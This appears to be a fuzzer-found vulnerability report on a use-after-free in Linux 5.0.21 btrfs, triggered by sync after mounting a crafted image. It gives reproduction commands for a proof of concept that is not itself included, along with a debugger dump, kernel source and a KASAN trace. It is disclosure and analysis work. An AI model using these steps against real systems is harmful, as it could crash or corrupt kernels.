Linux kernel btrfs FileSystem
Linux Version | Availablity |
---|---|
5.0.21 | True |
Use After Free
syncfs
syscall after some operation(with crafted image) can cause use-after-free vulnerability in mutex_can_spin_on_owner
gcc -o poc poc_2019_19813.c
mkdir mnt
mount poc_2019_19813.img ./mnt
cp poc ./mnt/
cd mnt
./poc
cd ..
sync
─────────────────────────────────────────────────────────── registers ────
$rax : 0xffff88806c120cc0 → 0xffff888067434a80 → 0xffff888069b6d500 → 0xffff88806a9d4dc0 → 0xffff888069b6d3c0 → 0xffff888066ed24d0 → 0xffff88806a4c7000 → 0xffff888066ed28c0
$rbx : 0xffff88806774a4c0 → 0xffff88806c120cc0 → 0xffff888067434a80 → 0xffff888069b6d500 → 0xffff88806a9d4dc0 → 0xffff888069b6d3c0 → 0xffff888066ed24d0 → 0xffff88806a4c7000
$rcx : 0x1ffff1100d82419f → 0x1ffff1100d82419f
$rdx : 0x00000000000000fb → 0x00000000000000fb
$rsp : 0xffff8880655ff970 → 0x0000000000000000 → 0x0000000000000000
$rbp : 0xffff8880655ffae0 → 0xffff88806c124c00 → 0x97e0009600000501 → 0x97e0009600000501
$rsi : 0x0000000000000008 → 0x0000000000000008
$rdi : 0xffff88806c120cf8 → 0x0000000100000000 → 0x0000000100000000
$rip : 0xffffffff8367ae8d → 0xf6a9e9fde9e18ee8 → 0xf6a9e9fde9e18ee8
$r8 : 0xffffed100cee9499 → 0x0000000000000000 → 0x0000000000000000
$r9 : 0xffffed100cee9499 → 0x0000000000000000 → 0x0000000000000000
$r10 : 0x0000000000000001 → 0x0000000000000001
$r11 : 0xffffed100cee9498 → 0x0000000000000000 → 0x0000000000000000
$r12 : 0xffff88806c120cc0 → 0xffff888067434a80 → 0xffff888069b6d500 → 0xffff88806a9d4dc0 → 0xffff888069b6d3c0 → 0xffff888066ed24d0 → 0xffff88806a4c7000 → 0xffff888066ed28c0
$r13 : 0xffff88806c124c80 → 0x0000000000000000 → 0x0000000000000000
$r14 : 0xffff88806c120cc0 → 0xffff888067434a80 → 0xffff888069b6d500 → 0xffff88806a9d4dc0 → 0xffff888069b6d3c0 → 0xffff888066ed24d0 → 0xffff88806a4c7000 → 0xffff888066ed28c0
$r15 : 0xffff888068b0e160 → 0x0000000000000000 → 0x0000000000000000
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflowresume virtualx86 identification]
$cs: 0x0010 $ss: 0x0018 $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────── stack ────
0xffff8880655ff970│+0x0000: 0x0000000000000000 → 0x0000000000000000 ← $rsp
0xffff8880655ff978│+0x0008: 0xffffffff8412de5c → 0x3320342032332031 →0x3320342032332031
0xffff8880655ff980│+0x0010: 0x0000000041b58ab3 → 0x0000000041b58ab3
0xffff8880655ff988│+0x0018: 0x1ffff1100cabff36 → 0x1ffff1100cabff36
0xffff8880655ff990│+0x0020: 0xffffffff81b9daa0 → 0x0000b94856415741 →0x0000b94856415741
0xffff8880655ff998│+0x0028: 0xffff8880655ffac0 → 0x1ffff1100cabff5f →0x1ffff1100cabff5f
0xffff8880655ff9a0│+0x0030: 0x0000000000000002 → 0x0000000000000002
0xffff8880655ff9a8│+0x0038: 0x4eb1b378b5fc8c00 → 0x4eb1b378b5fc8c00
───────────────────────────────────────────────────────── code:x86:64 ────
0xffffffff8367ae7e <__mutex_lock.isra.7+2846> jmp 0xffffffff8367a6ca <__mutex_lock+874>
0xffffffff8367ae83 <__mutex_lock.isra.7+2851> call 0xffffffff815190b0 <__asan_report_store8_noabort>
0xffffffff8367ae88 <__mutex_lock.isra.7+2856> jmp 0xffffffff8367adc7 <__mutex_lock+2663>
→ 0xffffffff8367ae8d <__mutex_lock.isra.7+2861> call 0xffffffff81519020 <__asan_report_load4_noabort>
↳ 0xffffffff81519020 <__asan_report_load4_noabort+0> mov rcx, QWORD PTR [rsp]
0xffffffff81519024 <__asan_report_load4_noabort+4> xor edx, edx
0xffffffff81519026 <__asan_report_load4_noabort+6> mov esi, 0x4
0xffffffff8151902b <__asan_report_load4_noabort+11> jmp 0xffffffff815185f0 <kasan_report>
0xffffffff81519030 <__asan_report_load8_noabort+0> mov rcx, QWORD PTR [rsp]
0xffffffff81519034 <__asan_report_load8_noabort+4> xor edx, edx
─────────────────────────────────────────────────────────── arguments ────
__asan_report_load4_noabort (
long unsigned int var_0 = 0xffff88806c120cf8 → 0x0000000100000000 → 0x0000000100000000
)
─────────────────────────────────── source:kernel/locking/[...].c+578 ────
573 /*
574 * As lock holder preemption issue, we both skip spinningif task is not
575 * on cpu or its cpu is preempted
576 */
577 if (owner)
→ 578 retval = owner->on_cpu && !vcpu_is_preempted(task_cpu(owner));
579 rcu_read_unlock();
580
581 /*
582 * If lock->owner is not set, the mutex has been released. Return true
583 * such that we'll trylock in the spin path, which is a faster option
───────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "", stopped, reason: BREAKPOINT
[#1] Id 2, Name: "", stopped, reason: BREAKPOINT
─────────────────────────────────────────────────────────────── trace ────
[#0] 0xffffffff8367ae8d → mutex_optimistic_spin(waiter=<optimized out>, use_ww_ctx=<optimized out>, ww_ctx=<optimized out>, lock=<optimized out>)
[#1] 0xffffffff8367ae8d → __mutex_lock_common(use_ww_ctx=<optimized out>,ww_ctx=<optimized out>, ip=<optimized out>, nest_lock=<optimized out>, subclass=<optimized out>, state=<optimized out>, lock=<optimized out>)
[#2] 0xffffffff8367ae8d → __mutex_lock(lock=0xffff88806774a4c0, state=<optimized out>, ip=<optimized out>, nest_lock=<optimized out>, subclass=<optimized out>)
[#3] 0xffffffff8367af6a → __mutex_lock_slowpath(lock=<optimized out>)
[#4] 0xffffffff8367b052 → mutex_lock(lock=0xffff88806774a4c0)
[#5] 0xffffffff81b61f8e → btrfs_insert_delayed_items(node=<optimized out>, root=<optimized out>, path=<optimized out>, trans=<optimized out>)
[#6] 0xffffffff81b61f8e → __btrfs_commit_inode_delayed_items(node=<optimized out>, path=<optimized out>, trans=<optimized out>)
[#7] 0xffffffff81b61f8e → __btrfs_run_delayed_items(trans=<optimized out>, nr=<optimized out>)
[#8] 0xffffffff81b644ea → btrfs_run_delayed_items(trans=<optimized out>)
[#9] 0xffffffff81a5ac25 → btrfs_commit_transaction(trans=0xffff888066985498)
──────────────────────────────────────────────────────────────────────────
gef➤
owner->on_cpu
occurs use-after-free
, local variable struct task_struct owner
looks already freed
kernel/locking/mutex.c:578 (link)
static inline int mutex_can_spin_on_owner(struct mutex *lock)
{
struct task_struct *owner;
int retval = 1;
if (need_resched())
return 0;
rcu_read_lock();
[1] owner = __mutex_owner(lock);
/*
* As lock holder preemption issue, we both skip spinning if task is not
* on cpu or its cpu is preempted
*/
if (owner)
[2] retval = owner->on_cpu && !vcpu_is_preempted(task_cpu(owner));
rcu_read_unlock();
__mutex_owner(lock)
returns freed task_struct pointer
[ 103.624824] ==================================================================
[ 103.624824] BUG: KASAN: use-after-free in __mutex_lock.isra.7+0xb32/0xc00
[ 103.624824] Read of size 4 at addr ffff88806c120cf8 by task sync/1913
[ 103.624824]
[ 103.624824] CPU: 1 PID: 1913 Comm: sync Tainted: G D W 5.0.21 #1
[ 103.624824] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[ 103.624824] Call Trace:
[ 103.624824] dump_stack+0x5b/0x8b
[ 103.624824] print_address_description+0x70/0x280
[ 103.624824] ? __mutex_lock.isra.7+0xb32/0xc00
[ 103.624824] kasan_report+0x13a/0x19b
[ 103.624824] ? __mutex_lock.isra.7+0xb32/0xc00
[ 103.624824] ? __mutex_lock.isra.7+0xb32/0xc00
[ 103.624824] __mutex_lock.isra.7+0xb32/0xc00
[ 103.624824] ? __btrfs_qgroup_free_meta+0x440/0x440
[ 103.624824] ? mutex_trylock+0xa0/0xa0
[ 103.624824] ? btrfs_delayed_inode_release_metadata+0x268/0x320
[ 103.624824] ? btrfs_release_path+0x3e/0x190
[ 103.624824] ? finish_one_item+0x2d/0xa0
[ 103.624824] ? __btrfs_update_delayed_inode+0x3bd/0x540
[ 103.624824] ? _cond_resched+0x12/0x60
[ 103.624824] ? mutex_lock+0xe2/0xf0
[ 103.624824] mutex_lock+0xe2/0xf0
[ 103.624824] ? __mutex_lock_slowpath+0x10/0x10
[ 103.624824] ? mutex_unlock+0x18/0x40
[ 103.624824] ? __btrfs_release_delayed_node+0x30e/0x9f0
[ 103.624824] __btrfs_run_delayed_items+0x23e/0x12c0
[ 103.624824] ? _raw_spin_lock_irqsave+0x84/0xf0
[ 103.624824] ? _raw_write_lock_irqsave+0xf0/0xf0
[ 103.624824] ? __btrfs_kill_delayed_node+0x2e0/0x2e0
[ 103.624824] ? __wake_up_common+0x440/0x440
[ 103.624824] ? _raw_read_lock_irq+0x30/0x30
[ 103.624824] ? __ia32_sys_fdatasync+0x40/0x40
[ 103.624824] btrfs_commit_transaction+0x845/0x2500
[ 103.624824] ? btrfs_apply_pending_changes+0xb0/0xb0
[ 103.624824] ? btrfs_attach_transaction_barrier+0x19/0x70
[ 103.624824] ? btrfs_sync_fs+0x91/0x270
[ 103.624824] ? __ia32_sys_fdatasync+0x40/0x40
[ 103.624824] iterate_supers+0x14e/0x200
[ 103.624824] ksys_sync+0xba/0x160
[ 103.624824] ? __x64_sys_syncfs+0xe0/0xe0
[ 103.624824] ? __do_page_fault+0x42c/0x990
[ 103.624824] __ia32_sys_sync+0x5/0x10
[ 103.624824] do_syscall_64+0x8c/0x280
[ 103.624824] ? page_fault+0x8/0x30
[ 103.624824] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 103.624824] RIP: 0033:0x7f5b3d2437f7
[ 103.624824] Code: 83 c4 08 48 3d 01 f0 ff ff 73 01 c3 48 8b 0d 98 76 2b 00 f7 d8 64 89 01 48 83 c8 ff c3 66 0f 1f 44 00 00 b8 a2 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 71 76 2b 00 f7 d8 64 89 01 48
[ 103.624824] RSP: 002b:00007ffc14700668 EFLAGS: 00000202 ORIG_RAX: 00000000000000a2
[ 103.624824] RAX: ffffffffffffffda RBX: 00007ffc14700798 RCX: 00007f5b3d2437f7
[ 103.624824] RDX: 00007f5b3d4fde01 RSI: 00007ffc14700798 RDI: 00007f5b3d2c52b7
[ 103.624824] RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
[ 103.624824] R10: 000000000000081f R11: 0000000000000202 R12: 0000000000000001
[ 103.624824] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
[ 103.624824]
[ 103.624824] Allocated by task 1352:
[ 103.624824] __kasan_kmalloc+0xd5/0xf0
[ 103.624824] kmem_cache_alloc_node+0xeb/0x1b0
[ 103.624824] copy_process.part.55+0x1467/0x60f0
[ 103.624824] _do_fork+0x146/0x7c0
[ 103.624824] do_syscall_64+0x8c/0x280
[ 103.624824] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 103.624824]
[ 103.624824] Freed by task 0:
[ 103.624824] __kasan_slab_free+0x132/0x180
[ 103.624824] kmem_cache_free+0x83/0x1a0
[ 103.624824] rcu_process_callbacks+0x5fb/0x14f0
[ 103.624824] __do_softirq+0x1b2/0x5d0
[ 103.624824]
[ 103.624824] The buggy address belongs to the object at ffff88806c120cc0
[ 103.624824] which belongs to the cache task_struct of size 3136
[ 103.624824] The buggy address is located 56 bytes inside of
[ 103.624824] 3136-byte region [ffff88806c120cc0, ffff88806c121900)
[ 103.624824] The buggy address belongs to the page:
[ 103.624824] page:ffffea0001b04800 count:1 mapcount:0 mapping:ffff88806cc96dc0 index:0x0 compound_mapcount: 0
[ 103.624824] flags: 0x100000000010200(slab|head)
[ 103.624824] raw: 0100000000010200 ffffea0001b18400 0000000300000003 ffff88806cc96dc0
[ 103.624824] raw: 0000000000000000 00000000800a000a 00000001ffffffff 0000000000000000
[ 103.624824] page dumped because: kasan: bad access detected
[ 103.624824]
[ 103.624824] Memory state around the buggy address:
[ 103.624824] ffff88806c120b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 103.624824] ffff88806c120c00: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
[ 103.624824] >ffff88806c120c80: fc fc fc fc fc fc fc fc fb fb fb fb fb fb fb fb
[ 103.624824] ^
[ 103.624824] ffff88806c120d00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 103.624824] ffff88806c120d80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 103.624824] ==================================================================
in btrfs_insert_delayed_items
function, mutex_lock(&node->mutex)
calls mutex_can_spin_on_owner
, with freed lock->owner
Team bobfuzzer
This Project used ported version(to 5.0.21 and 5.3.14 linux kernel) of filesystem fuzzer 'JANUS' which developed by GeorgiaTech Systems Software & Security Lab(SSLab)
Thank you for the excellent fuzzer and paper below.